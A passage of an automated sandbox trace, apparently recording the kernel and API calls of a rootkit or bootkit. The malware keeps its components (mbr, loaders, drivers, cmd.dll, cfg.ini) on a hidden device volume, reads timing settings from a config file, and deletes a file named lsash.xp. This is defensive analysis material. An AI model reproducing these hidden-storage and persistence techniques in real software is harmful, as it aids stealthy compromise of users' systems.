(Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0128.710] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bff9d0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.710] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.710] KeLeaveCriticalRegion () [0128.710] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.710] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.710] KeEnterCriticalRegion () [0128.710] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.710] ExFreePoolWithTag (P=0xfffffa80039bbb80, Tag=0x0) [0128.710] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.710] KeLeaveCriticalRegion () [0128.710] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.710] ReleaseMutex (hMutex=0xf0) returned 1 [0128.710] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.710] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0128.710] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.710] KeEnterCriticalRegion () [0128.710] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.711] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.711] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.711] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.711] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.711] IdePortDispatch () returned 0x103 [0128.711] KeWaitForMutexObject () returned 0x0 [0128.711] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.711] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.711] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.711] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.711] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.711] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c00c30 [0128.711] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.711] KeLeaveCriticalRegion () [0128.711] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.711] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.711] KeEnterCriticalRegion () [0128.711] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.711] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.711] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.711] KeLeaveCriticalRegion () [0128.711] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.711] KeEnterCriticalRegion () [0128.711] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.711] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.711] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.711] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.711] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0128.711] IdePortDispatch () returned 0x103 [0128.711] KeWaitForMutexObject () returned 0x0 [0128.712] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.712] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.712] KeLeaveCriticalRegion () [0128.712] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.712] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.712] KeEnterCriticalRegion () [0128.712] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.712] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b12000 [0128.712] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.712] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.712] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.712] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.712] IdePortDispatch () returned 0x103 [0128.712] KeWaitForMutexObject () returned 0x0 [0128.712] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.712] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.712] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.712] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.712] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.712] IdePortDispatch () returned 0x103 [0128.712] KeWaitForMutexObject () returned 0x0 [0128.713] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.713] KeLeaveCriticalRegion () [0128.713] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.713] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.713] KeEnterCriticalRegion () [0128.713] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.713] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.713] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.713] KeLeaveCriticalRegion () [0128.713] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.713] KeEnterCriticalRegion () [0128.713] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.713] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0128.713] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfff20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.713] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.713] KeLeaveCriticalRegion () [0128.713] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.713] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.713] KeEnterCriticalRegion () [0128.713] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.713] ExFreePoolWithTag (P=0xfffffa8003c00c30, Tag=0x0) [0128.713] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.713] KeLeaveCriticalRegion () [0128.713] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.714] ReleaseMutex (hMutex=0xf0) returned 1 [0128.714] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0128.714] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0128.714] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0128.714] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0128.714] KeEnterCriticalRegion () [0128.714] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.714] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.714] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.714] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.714] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.714] IdePortDispatch () returned 0x103 [0128.714] KeWaitForMutexObject () returned 0x0 [0128.714] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.714] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0128.714] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.714] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.714] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.714] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.714] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.714] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.714] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.714] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0128.714] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.714] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.714] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.714] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.714] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.714] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.714] KeLeaveCriticalRegion () [0128.714] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.715] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0128.715] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0128.715] KeEnterCriticalRegion () [0128.715] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.715] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.715] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.715] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.715] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.715] IdePortDispatch () returned 0x103 [0128.715] KeWaitForMutexObject () returned 0x0 [0128.715] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.715] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0128.715] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.715] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.715] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.715] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.715] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.715] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.715] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.715] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0128.715] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.715] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.715] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.715] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.715] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.715] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.715] KeLeaveCriticalRegion () [0128.715] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.715] ReleaseMutex (hMutex=0x100) returned 1 [0128.715] Sleep (dwMilliseconds=0x2bf20) [0128.722] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6fea88f0, dwHighDateTime=0x1d24fa4)) [0128.722] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0128.722] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.722] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0128.722] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.722] KeEnterCriticalRegion () [0128.722] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.722] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.722] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.722] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.722] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.722] IdePortDispatch () returned 0x103 [0128.722] KeWaitForMutexObject () returned 0x0 [0128.723] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.723] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.723] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.723] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.723] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.723] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c00db0 [0128.723] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.723] KeLeaveCriticalRegion () [0128.723] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.723] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.723] KeEnterCriticalRegion () [0128.723] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.723] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.723] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.723] KeLeaveCriticalRegion () [0128.723] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.723] KeEnterCriticalRegion () [0128.723] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.723] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.723] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.723] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.723] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0128.723] IdePortDispatch () returned 0x103 [0128.723] KeWaitForMutexObject () returned 0x0 [0128.724] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.724] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.724] KeLeaveCriticalRegion () [0128.724] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.724] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.724] KeEnterCriticalRegion () [0128.724] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.724] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b15000 [0128.724] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.724] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.724] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.724] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.724] IdePortDispatch () returned 0x103 [0128.724] KeWaitForMutexObject () returned 0x0 [0128.724] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.724] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.724] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.724] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.724] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.724] IdePortDispatch () returned 0x103 [0128.724] KeWaitForMutexObject () returned 0x0 [0128.724] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.724] KeLeaveCriticalRegion () [0128.724] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.725] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.725] KeEnterCriticalRegion () [0128.725] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.725] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.725] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.725] KeLeaveCriticalRegion () [0128.725] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.725] KeEnterCriticalRegion () [0128.725] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.725] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0128.725] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c003c0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.725] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.725] KeLeaveCriticalRegion () [0128.725] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.725] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.725] KeEnterCriticalRegion () [0128.725] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.725] ExFreePoolWithTag (P=0xfffffa8003c00db0, Tag=0x0) [0128.725] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.725] KeLeaveCriticalRegion () [0128.725] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.725] ReleaseMutex (hMutex=0xf0) returned 1 [0128.725] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.725] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0128.726] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.726] KeEnterCriticalRegion () [0128.726] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.726] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.726] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.726] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.726] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.726] IdePortDispatch () returned 0x103 [0128.726] KeWaitForMutexObject () returned 0x0 [0128.726] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.726] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.726] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.726] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.726] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.726] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c00e70 [0128.726] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.726] KeLeaveCriticalRegion () [0128.726] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.726] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.726] KeEnterCriticalRegion () [0128.726] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.726] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.726] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.726] KeLeaveCriticalRegion () [0128.726] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.726] KeEnterCriticalRegion () [0128.726] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.726] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.726] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.726] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.726] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0128.726] IdePortDispatch () returned 0x103 [0128.726] KeWaitForMutexObject () returned 0x0 [0128.727] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.727] ExReleaseFastMutexUnsafe (in: 